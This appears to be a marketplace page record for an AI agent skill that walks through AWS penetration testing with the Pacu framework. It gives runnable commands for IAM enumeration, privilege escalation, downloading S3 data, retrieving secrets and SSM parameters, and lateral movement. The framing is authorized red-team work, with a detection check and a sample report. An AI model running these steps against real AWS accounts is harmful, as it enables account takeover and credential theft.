[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71CD8Q0TMRZ0NF976X99Y1D":3,"skill-same:01M71CD8Q0TMRZ0NF976X99Y1D":95},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":68,"commitSha":69,"skillDirectory":70,"forksCount":14,"repositoryHtmlUrl":71,"repositoryHomepageUrl":6,"ownerHtmlUrl":72,"ownerBlogUrl":6,"ownerDescription":73,"updatedAt":74,"install":75,"resources":88},"01M71CD8Q0TMRZ0NF976X99Y1D","aws-pentest-pacu-exploit",null,"Performing authorized AWS penetration testing using Pacu, the open-source AWS exploitation framework, to enumerate IAM configurations, discover privilege escalation paths, test credential harvesting, and validate security controls through systematic attack simulation.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fcloud\u002Faws\u002Fpentest\u002Fpacu\u002Fexploit\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"pentest","pacu","aws pentest pacu exploit","aws","exploit","AWS Penetration Testing","read","systematic","privilege escalation","cloud-security","de","t1078","simulation","iam","Bash","cybersecurity","open","testing","cm","discover","2026-11-10 10:12:30",false,"---\nname: aws-pentest-pacu-exploit\ndescription: Performing authorized AWS penetration testing using Pacu, the open-source AWS exploitation framework, to enumerate IAM configurations, discover privilege escalation paths, test credential harvesting, and validate security controls through systematic attack simulation.\ndomain: cybersecurity\nsubdomain: cloud-security\ntags:\n- cloud-security\n- aws\n- pacu\n- penetration-testing\n- offensive-security\n- iam-exploitation\nnist_csf:\n- PR.IR-01\n- ID.AM-08\n- GV.SC-06\n- DE.CM-01\nmodel: sonnet\nmaxTurns: 20\ntools: [Read, Bash, Glob, Grep]\nmitre_attack:\n- T1059\n- T1078.004\ncapec: []\n---\n\n# Performing Cloud Penetration Testing with Pacu\n\n## When to Use\n\n- When conducting authorized penetration testing of AWS environments\n- When validating the effectiveness of IAM policies, SCPs, and permission boundaries\n- When assessing the blast radius of a compromised set of AWS credentials\n- When testing detection capabilities of GuardDuty, Security Hub, and custom alerting\n- When building red team exercises against AWS cloud infrastructure\n\n**Do not use** for unauthorized testing of any AWS account, for testing AWS infrastructure itself (covered by shared responsibility), for DDoS or volumetric attacks without AWS approval, or for production account testing without explicit authorization and breakglass procedures.\n\n## Prerequisites\n\n- Written authorization from the AWS account owner with defined scope and rules of engagement\n- Pacu v1.5+ installed (`pip install pacu`)\n- Test AWS credentials with limited starting permissions (simulates compromised credential scenario)\n- CloudTrail logging enabled to capture all Pacu activity for post-engagement review\n- GuardDuty enabled to validate detection of Pacu activities\n- Emergency contact and rollback procedures documented\n\n## Workflow\n\n### Step 1: Initialize Pacu Session and Configure Credentials\n\nSet up a Pacu session with the test credentials and define the engagement scope.\n\n```bash\n# Install Pacu\npip install pacu\n\n# Start Pacu\npacu\n\n# Create a new session for the engagement\nPacu > set_keys --key-alias pentest-target\n# Enter Access Key ID: AKIA...\n# Enter Secret Access Key: ...\n\n# Verify identity\nPacu > whoami\n\n# Review available modules\nPacu > list\nPacu > search iam\nPacu > search ec2\nPacu > search s3\n```\n\n### Step 2: Enumerate IAM Configuration\n\nRun IAM enumeration modules to map users, roles, policies, and group memberships.\n\n```bash\n# Comprehensive IAM enumeration\nPacu > run iam__enum_users_roles_policies_groups\n\n# Enumerate detailed permissions for the current principal\nPacu > run iam__enum_permissions\n\n# Enumerate account authorization details (requires iam:GetAccountAuthorizationDetails)\nPacu > run iam__get_credential_report\n\n# Enumerate role trust policies for cross-account access\nPacu > run iam__enum_roles\n\n# Check current session data\nPacu > data iam\n```\n\n### Step 3: Scan for Privilege Escalation Paths\n\nUse Pacu's privilege escalation scanner to identify all exploitable escalation vectors.\n\n```bash\n# Run the privilege escalation scanner\nPacu > run iam__privesc_scan\n\n# The scanner tests for 21+ escalation methods:\n# Method 1:  iam:CreatePolicyVersion\n# Method 2:  iam:SetDefaultPolicyVersion\n# Method 3:  iam:PassRole + ec2:RunInstances\n# Method 4:  iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction\n# Method 5:  iam:PassRole + lambda:CreateFunction + lambda:CreateEventSourceMapping\n# Method 6:  iam:PassRole + glue:CreateDevEndpoint\n# Method 7:  iam:PassRole + cloudformation:CreateStack\n# Method 8:  iam:PassRole + datapipeline:CreatePipeline\n# Method 9:  iam:CreateAccessKey\n# Method 10: iam:CreateLoginProfile\n# Method 11: iam:UpdateLoginProfile\n# Method 12: iam:AttachUserPolicy\n# Method 13: iam:AttachGroupPolicy\n# Method 14: iam:AttachRolePolicy\n# Method 15: iam:PutUserPolicy\n# Method 16: iam:PutGroupPolicy\n# Method 17: iam:PutRolePolicy\n# Method 18: iam:AddUserToGroup\n# Method 19: iam:UpdateAssumeRolePolicy\n# Method 20: sts:AssumeRole\n# Method 21: lambda:UpdateFunctionCode\n\n# If escalation paths found, attempt exploitation\nPacu > run iam__privesc_scan --escalate\n```\n\n### Step 4: Enumerate and Test Data Access\n\nDiscover accessible data stores including S3, DynamoDB, RDS, and Secrets Manager.\n\n```bash\n# Enumerate S3 buckets\nPacu > run s3__bucket_finder\n\n# Download S3 bucket data for analysis\nPacu > run s3__download_bucket --bucket target-bucket --dl-names\n\n# Enumerate EC2 instances and extract user data\nPacu > run ec2__enum\nPacu > run ec2__download_userdata\n\n# Enumerate Lambda functions and check for secrets in environment variables\nPacu > run lambda__enum\n\n# Enumerate Secrets Manager\nPacu > run secretsmanager__enum\n\n# Enumerate SSM parameters (often contain secrets)\nPacu > run ssm__download_parameters\n\n# Check for exposed EBS snapshots\nPacu > run ebs__enum_snapshots_unauth\n```\n\n### Step 5: Test Lateral Movement and Persistence\n\nEvaluate cross-account access, service exploitation, and persistence mechanisms.\n\n```bash\n# Test cross-account role assumption\nPacu > run sts__assume_role --role-arn arn:aws:iam::TARGET:role\u002FCrossAccountRole\n\n# Enumerate Lambda for code execution opportunities\nPacu > run lambda__enum\n# If lambda:UpdateFunctionCode permission exists, could inject code\n\n# Test EC2 instance connect for lateral movement\nPacu > run ec2__enum\n# Check for instances with instance profiles that have broader permissions\n\n# Check for CodeBuild projects (potential credential access)\nPacu > run codebuild__enum\n\n# Enumerate ECS\u002FFargate for container-based lateral movement\nPacu > run ecs__enum\n\n# Export all discovered data\nPacu > data all\n```\n\n### Step 6: Validate Detection and Generate Report\n\nReview whether security controls detected the testing activities and compile findings.\n\n```bash\n# Check GuardDuty findings generated during testing\naws guardduty list-findings \\\n  --detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \\\n  --finding-criteria '{\n    \"Criterion\": {\n      \"updatedAt\": {\"GreaterThanOrEqual\": ENGAGEMENT_START_EPOCH}\n    }\n  }' --output json\n\n# Check Security Hub findings\naws securityhub get-findings \\\n  --filters '{\n    \"CreatedAt\": [{\"Start\": \"ENGAGEMENT_START_ISO\", \"End\": \"ENGAGEMENT_END_ISO\"}]\n  }'\n\n# Export Pacu session data for reporting\nPacu > export_keys --all\nPacu > data all > pacu-session-export.json\n\n# Clean up any test artifacts created during assessment\naws iam delete-user --user-name pacu-test-user 2>\u002Fdev\u002Fnull\naws iam delete-access-key --user-name pacu-test-user --access-key-id AKIA... 2>\u002Fdev\u002Fnull\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| Pacu | Open-source AWS exploitation framework maintained by Rhino Security Labs, providing modular attack capabilities for authorized penetration testing |\n| Privilege Escalation Scan | Automated analysis of IAM policies to identify known methods for elevating permissions from limited access to administrative control |\n| iam:PassRole | Critical IAM action allowing a principal to assign roles to AWS services, enabling indirect privilege escalation through Lambda, EC2, or Glue |\n| Cross-Account Role Assumption | Using sts:AssumeRole to obtain temporary credentials in another AWS account through trust policy configurations |\n| Rules of Engagement | Documented agreement defining the scope, methods, timing, and boundaries of a penetration testing engagement |\n| Post-Exploitation | Activities performed after initial access to demonstrate impact, including data access, lateral movement, and persistence establishment |\n\n## Tools & Systems\n\n- **Pacu**: AWS exploitation framework with 50+ modules for enumeration, escalation, persistence, and data exfiltration\n- **CloudFox**: AWS enumeration tool for identifying attack paths from an attacker perspective\n- **Principal Mapper**: IAM privilege escalation graph analysis tool for visualizing escalation paths\n- **ScoutSuite**: Multi-cloud security assessment tool for identifying misconfigurations before testing\n- **AWS CloudTrail**: Audit logging for capturing all Pacu activities during the engagement\n\n## Common Scenarios\n\n### Scenario: Red Team Assessment Starting from Compromised Developer Credentials\n\n**Context**: A red team exercise simulates a scenario where an attacker obtains a developer's AWS access key from a leaked repository. The goal is to determine the maximum impact achievable from this starting point.\n\n**Approach**:\n1. Initialize Pacu with the compromised credentials and run `whoami` to confirm identity\n2. Run `iam__enum_permissions` to map the developer's effective permissions\n3. Execute `iam__privesc_scan` to identify escalation paths from developer to admin\n4. Discover the developer can call `iam:PassRole` + `lambda:CreateFunction`, creating a Lambda with an admin role\n5. Exploit the escalation to obtain admin-level temporary credentials\n6. Enumerate S3 buckets, download sensitive data, and access Secrets Manager\n7. Verify whether GuardDuty detected the escalation and data access activities\n8. Clean up all test artifacts and document the complete attack chain\n\n**Pitfalls**: Pacu modules can be noisy and generate many API calls in a short time. GuardDuty may trigger `Recon:IAMUser\u002FMaliciousIPCaller` findings from the tester's IP. Coordinate with the SOC team to whitelist the testing IP or establish a clear communication channel to distinguish testing from real attacks. Always clean up persistence artifacts after testing.\n\n## Output Format\n\n```\nAWS Penetration Test Report (Pacu)\n=====================================\nTarget Account: 123456789012\nEngagement Period: 2026-02-20 to 2026-02-23\nStarting Credentials: Developer role (read-only S3, Lambda invoke)\nAuthorization: Signed ROE document #PT-2026-015\n\nATTACK PATH SUMMARY:\n  Starting access: S3 read-only, Lambda invoke\n  Maximum access achieved: AdministratorAccess (full account compromise)\n  Time to admin: 47 minutes\n  Detection by GuardDuty: Yes (after 12 minutes)\n  Detection by Security Hub: Yes (after 18 minutes)\n  SOC response time: 45 minutes (missed the escalation window)\n\nPACU MODULES EXECUTED:\n  iam__enum_users_roles_policies_groups: SUCCESS\n  iam__enum_permissions: SUCCESS\n  iam__privesc_scan: 3 escalation paths found\n  s3__download_bucket: 4 buckets accessed\n  lambda__enum: 12 functions enumerated\n  secretsmanager__enum: 8 secrets retrieved\n\nESCALATION PATHS EXPLOITED:\n  [1] iam:PassRole + lambda:CreateFunction -> AdminRole (CRITICAL)\n  [2] sts:AssumeRole -> CrossAccountProdRole (HIGH)\n  [3] iam:CreatePolicyVersion on dev-policy (CRITICAL)\n\nDATA ACCESSED:\n  S3 objects downloaded: 1,247 files (2.3 GB)\n  Secrets Manager values: 8 secrets including DB credentials\n  SSM parameters: 23 parameters including API keys\n\nDETECTION RESULTS:\n  GuardDuty findings generated: 7\n  Security Hub findings: 12\n  Custom CloudWatch alarms triggered: 3\n  SOC acknowledged: Yes (45 min response)\n\nRECOMMENDATIONS:\n  1. Apply permission boundaries to all developer roles\n  2. Remove iam:PassRole from non-admin principals\n  3. Reduce SOC response time to \u003C 15 minutes for IAM escalation alerts\n  4. Implement SCP blocking iam:CreatePolicyVersion in non-admin OUs\n```\n","# Performing Cloud Penetration Testing with Pacu\n\n## When to Use\n\n- When conducting authorized penetration testing of AWS environments\n- When validating the effectiveness of IAM policies, SCPs, and permission boundaries\n- When assessing the blast radius of a compromised set of AWS credentials\n- When testing detection capabilities of GuardDuty, Security Hub, and custom alerting\n- When building red team exercises against AWS cloud infrastructure\n\n**Do not use** for unauthorized testing of any AWS account, for testing AWS infrastructure itself (covered by shared responsibility), for DDoS or volumetric attacks without AWS approval, or for production account testing without explicit authorization and breakglass procedures.\n\n## Prerequisites\n\n- Written authorization from the AWS account owner with defined scope and rules of engagement\n- Pacu v1.5+ installed (`pip install pacu`)\n- Test AWS credentials with limited starting permissions (simulates compromised credential scenario)\n- CloudTrail logging enabled to capture all Pacu activity for post-engagement review\n- GuardDuty enabled to validate detection of Pacu activities\n- Emergency contact and rollback procedures documented\n\n## Workflow\n\n### Step 1: Initialize Pacu Session and Configure Credentials\n\nSet up a Pacu session with the test credentials and define the engagement scope.\n\n```bash\n# Install Pacu\npip install pacu\n\n# Start Pacu\npacu\n\n# Create a new session for the engagement\nPacu > set_keys --key-alias pentest-target\n# Enter Access Key ID: AKIA...\n# Enter Secret Access Key: ...\n\n# Verify identity\nPacu > whoami\n\n# Review available modules\nPacu > list\nPacu > search iam\nPacu > search ec2\nPacu > search s3\n```\n\n### Step 2: Enumerate IAM Configuration\n\nRun IAM enumeration modules to map users, roles, policies, and group memberships.\n\n```bash\n# Comprehensive IAM enumeration\nPacu > run iam__enum_users_roles_policies_groups\n\n# Enumerate detailed permissions for the current principal\nPacu > run iam__enum_permissions\n\n# Enumerate account authorization details (requires iam:GetAccountAuthorizationDetails)\nPacu > run iam__get_credential_report\n\n# Enumerate role trust policies for cross-account access\nPacu > run iam__enum_roles\n\n# Check current session data\nPacu > data iam\n```\n\n### Step 3: Scan for Privilege Escalation Paths\n\nUse Pacu's privilege escalation scanner to identify all exploitable escalation vectors.\n\n```bash\n# Run the privilege escalation scanner\nPacu > run iam__privesc_scan\n\n# The scanner tests for 21+ escalation methods:\n# Method 1:  iam:CreatePolicyVersion\n# Method 2:  iam:SetDefaultPolicyVersion\n# Method 3:  iam:PassRole + ec2:RunInstances\n# Method 4:  iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction\n# Method 5:  iam:PassRole + lambda:CreateFunction + lambda:CreateEventSourceMapping\n# Method 6:  iam:PassRole + glue:CreateDevEndpoint\n# Method 7:  iam:PassRole + cloudformation:CreateStack\n# Method 8:  iam:PassRole + datapipeline:CreatePipeline\n# Method 9:  iam:CreateAccessKey\n# Method 10: iam:CreateLoginProfile\n# Method 11: iam:UpdateLoginProfile\n# Method 12: iam:AttachUserPolicy\n# Method 13: iam:AttachGroupPolicy\n# Method 14: iam:AttachRolePolicy\n# Method 15: iam:PutUserPolicy\n# Method 16: iam:PutGroupPolicy\n# Method 17: iam:PutRolePolicy\n# Method 18: iam:AddUserToGroup\n# Method 19: iam:UpdateAssumeRolePolicy\n# Method 20: sts:AssumeRole\n# Method 21: lambda:UpdateFunctionCode\n\n# If escalation paths found, attempt exploitation\nPacu > run iam__privesc_scan --escalate\n```\n\n### Step 4: Enumerate and Test Data Access\n\nDiscover accessible data stores including S3, DynamoDB, RDS, and Secrets Manager.\n\n```bash\n# Enumerate S3 buckets\nPacu > run s3__bucket_finder\n\n# Download S3 bucket data for analysis\nPacu > run s3__download_bucket --bucket target-bucket --dl-names\n\n# Enumerate EC2 instances and extract user data\nPacu > run ec2__enum\nPacu > run ec2__download_userdata\n\n# Enumerate Lambda functions and check for secrets in environment variables\nPacu > run lambda__enum\n\n# Enumerate Secrets Manager\nPacu > run secretsmanager__enum\n\n# Enumerate SSM parameters (often contain secrets)\nPacu > run ssm__download_parameters\n\n# Check for exposed EBS snapshots\nPacu > run ebs__enum_snapshots_unauth\n```\n\n### Step 5: Test Lateral Movement and Persistence\n\nEvaluate cross-account access, service exploitation, and persistence mechanisms.\n\n```bash\n# Test cross-account role assumption\nPacu > run sts__assume_role --role-arn arn:aws:iam::TARGET:role\u002FCrossAccountRole\n\n# Enumerate Lambda for code execution opportunities\nPacu > run lambda__enum\n# If lambda:UpdateFunctionCode permission exists, could inject code\n\n# Test EC2 instance connect for lateral movement\nPacu > run ec2__enum\n# Check for instances with instance profiles that have broader permissions\n\n# Check for CodeBuild projects (potential credential access)\nPacu > run codebuild__enum\n\n# Enumerate ECS\u002FFargate for container-based lateral movement\nPacu > run ecs__enum\n\n# Export all discovered data\nPacu > data all\n```\n\n### Step 6: Validate Detection and Generate Report\n\nReview whether security controls detected the testing activities and compile findings.\n\n```bash\n# Check GuardDuty findings generated during testing\naws guardduty list-findings \\\n  --detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \\\n  --finding-criteria '{\n    \"Criterion\": {\n      \"updatedAt\": {\"GreaterThanOrEqual\": ENGAGEMENT_START_EPOCH}\n    }\n  }' --output json\n\n# Check Security Hub findings\naws securityhub get-findings \\\n  --filters '{\n    \"CreatedAt\": [{\"Start\": \"ENGAGEMENT_START_ISO\", \"End\": \"ENGAGEMENT_END_ISO\"}]\n  }'\n\n# Export Pacu session data for reporting\nPacu > export_keys --all\nPacu > data all > pacu-session-export.json\n\n# Clean up any test artifacts created during assessment\naws iam delete-user --user-name pacu-test-user 2>\u002Fdev\u002Fnull\naws iam delete-access-key --user-name pacu-test-user --access-key-id AKIA... 2>\u002Fdev\u002Fnull\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| Pacu | Open-source AWS exploitation framework maintained by Rhino Security Labs, providing modular attack capabilities for authorized penetration testing |\n| Privilege Escalation Scan | Automated analysis of IAM policies to identify known methods for elevating permissions from limited access to administrative control |\n| iam:PassRole | Critical IAM action allowing a principal to assign roles to AWS services, enabling indirect privilege escalation through Lambda, EC2, or Glue |\n| Cross-Account Role Assumption | Using sts:AssumeRole to obtain temporary credentials in another AWS account through trust policy configurations |\n| Rules of Engagement | Documented agreement defining the scope, methods, timing, and boundaries of a penetration testing engagement |\n| Post-Exploitation | Activities performed after initial access to demonstrate impact, including data access, lateral movement, and persistence establishment |\n\n## Tools & Systems\n\n- **Pacu**: AWS exploitation framework with 50+ modules for enumeration, escalation, persistence, and data exfiltration\n- **CloudFox**: AWS enumeration tool for identifying attack paths from an attacker perspective\n- **Principal Mapper**: IAM privilege escalation graph analysis tool for visualizing escalation paths\n- **ScoutSuite**: Multi-cloud security assessment tool for identifying misconfigurations before testing\n- **AWS CloudTrail**: Audit logging for capturing all Pacu activities during the engagement\n\n## Common Scenarios\n\n### Scenario: Red Team Assessment Starting from Compromised Developer Credentials\n\n**Context**: A red team exercise simulates a scenario where an attacker obtains a developer's AWS access key from a leaked repository. The goal is to determine the maximum impact achievable from this starting point.\n\n**Approach**:\n1. Initialize Pacu with the compromised credentials and run `whoami` to confirm identity\n2. Run `iam__enum_permissions` to map the developer's effective permissions\n3. Execute `iam__privesc_scan` to identify escalation paths from developer to admin\n4. Discover the developer can call `iam:PassRole` + `lambda:CreateFunction`, creating a Lambda with an admin role\n5. Exploit the escalation to obtain admin-level temporary credentials\n6. Enumerate S3 buckets, download sensitive data, and access Secrets Manager\n7. Verify whether GuardDuty detected the escalation and data access activities\n8. Clean up all test artifacts and document the complete attack chain\n\n**Pitfalls**: Pacu modules can be noisy and generate many API calls in a short time. GuardDuty may trigger `Recon:IAMUser\u002FMaliciousIPCaller` findings from the tester's IP. Coordinate with the SOC team to whitelist the testing IP or establish a clear communication channel to distinguish testing from real attacks. Always clean up persistence artifacts after testing.\n\n## Output Format\n\n```\nAWS Penetration Test Report (Pacu)\n=====================================\nTarget Account: 123456789012\nEngagement Period: 2026-02-20 to 2026-02-23\nStarting Credentials: Developer role (read-only S3, Lambda invoke)\nAuthorization: Signed ROE document #PT-2026-015\n\nATTACK PATH SUMMARY:\n  Starting access: S3 read-only, Lambda invoke\n  Maximum access achieved: AdministratorAccess (full account compromise)\n  Time to admin: 47 minutes\n  Detection by GuardDuty: Yes (after 12 minutes)\n  Detection by Security Hub: Yes (after 18 minutes)\n  SOC response time: 45 minutes (missed the escalation window)\n\nPACU MODULES EXECUTED:\n  iam__enum_users_roles_policies_groups: SUCCESS\n  iam__enum_permissions: SUCCESS\n  iam__privesc_scan: 3 escalation paths found\n  s3__download_bucket: 4 buckets accessed\n  lambda__enum: 12 functions enumerated\n  secretsmanager__enum: 8 secrets retrieved\n\nESCALATION PATHS EXPLOITED:\n  [1] iam:PassRole + lambda:CreateFunction -> AdminRole (CRITICAL)\n  [2] sts:AssumeRole -> CrossAccountProdRole (HIGH)\n  [3] iam:CreatePolicyVersion on dev-policy (CRITICAL)\n\nDATA ACCESSED:\n  S3 objects downloaded: 1,247 files (2.3 GB)\n  Secrets Manager values: 8 secrets including DB credentials\n  SSM parameters: 23 parameters including API keys\n\nDETECTION RESULTS:\n  GuardDuty findings generated: 7\n  Security Hub findings: 12\n  Custom CloudWatch alarms triggered: 3\n  SOC acknowledged: Yes (45 min response)\n\nRECOMMENDATIONS:\n  1. Apply permission boundaries to all developer roles\n  2. Remove iam:PassRole from non-admin principals\n  3. Reduce SOC response time to \u003C 15 minutes for IAM escalation alerts\n  4. Implement SCP blocking iam:CreatePolicyVersion in non-admin OUs\n```\n",{"name":5,"tags":49,"capec":53,"model":54,"tools":55,"domain":39,"maxTurns":59,"nist_csf":60,"subdomain":33,"description":7,"mitre_attack":65},[33,27,25,50,51,52],"penetration-testing","offensive-security","iam-exploitation",[],"sonnet",[56,38,57,58],"Read","Glob","Grep",20,[61,62,63,64],"PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01",[66,67],"T1059","T1078.004","main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fcloud\u002Faws\u002Fpentest\u002Fpacu\u002Fexploit","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":76,"prompt":86,"zipAvailable":87},[77,80,83],{"tool":78,"command":79},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill aws-pentest-pacu-exploit",{"tool":81,"command":82},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill 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aws-pentest-pacu-exploit","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fcloud\u002Faws\u002Fpentest\u002Fpacu\u002Fexploit\u002FSKILL.md",true,[89],{"path":90,"resourceType":91,"resourceTypeDesc":92,"sizeBytes":93,"sourceHtmlUrl":94},"index.json","REFERENCE","参考文档",683,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fcloud\u002Faws\u002Fpentest\u002Fpacu\u002Fexploit\u002Findex.json",[96,119,139,160,182,198],{"skillNo":97,"name":98,"nameZh":6,"description":99,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":100,"categories":101,"keywords":102,"publishedAt":44},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[103,104,105,106,107,34,42,108,109,110,111,112,113,114,115,116,117,39,118],"services","detect","services wmi persistence detect","wmi","persistence","process","activescript","event","subscriptions","commandline-consumer","repository","subscription","event-subscription","t1546.003","forensics","process-forensics",{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":125,"publishedAt":44},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[28,103,126,106,127,128,129,39,38,130,131,132,133,134,34,135,136,30,137,138],"services wmi exec exploit","exec","remote","traffic","analysis","team","across","crackmapexec","native","command","lateral movement","lateral-movement","Impacket",{"skillNo":140,"name":141,"nameZh":6,"description":142,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":143,"categories":144,"keywords":145,"publishedAt":44},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[146,147,148,149,150,151,39,38,152,130,153,154,34,30,155,156,157,158,159,54],"artifact","registry","registry artifact extract","extract","evidence-collection","artifact-analysis","collection","analyze","uncover","software","activity","digital-forensics","windows-registry","regripper",{"skillNo":161,"name":162,"nameZh":6,"description":163,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":164,"categories":165,"keywords":166,"publishedAt":44},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[104,167,168,169,170,171,172,42,173,39,118,174,175,176,177,178,179,180,181,34],"processes token impersonate detect","token","processes","attacks","windows","escalation","techniques","privilege-escalation","seimpersonate","token-impersonation","printspoofer","exploitation","potato","impersonation","via",{"skillNo":183,"name":184,"nameZh":6,"description":185,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":186,"categories":187,"keywords":188,"publishedAt":44},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[189,190,104,191,169,171,192,42,193,173,39,118,130,194,195,196,197,181,34,108],"thread","processes thread injection detect","injection","memory","process-injection","api","apc-injection","thread-injection","nt-api",{"skillNo":199,"name":200,"nameZh":6,"description":201,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":202,"categories":203,"keywords":204,"publishedAt":44},"01M71HA7H311V5G14WMX58HQSS","processes-hollow-technique-detect","Detect process hollowing (RunPE) by identifying processes with mismatched image paths between PEB and VAD tree, or unmapped PE headers in memory.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fhollow\u002Ftechnique\u002Fdetect\u002FSKILL.md",[],[205,104,169,206,192,42,207,208,39,118,209,210,211,212,213,214,34,108,215,216],"processes hollow technique detect","tree","memory-forensics","process-hollow","peb","runpe","image","pe-header","in memory","with","mismatched","headers"]